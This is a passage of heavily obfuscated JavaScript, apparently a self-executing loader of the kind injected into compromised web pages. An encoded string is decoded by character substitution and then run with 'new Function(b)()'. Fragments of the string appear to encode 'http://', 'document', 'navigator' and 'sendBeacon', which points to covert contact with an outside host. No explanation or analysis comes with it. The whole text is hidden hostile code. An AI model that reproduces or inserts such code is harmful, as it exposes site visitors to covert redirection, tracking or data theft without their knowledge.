F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();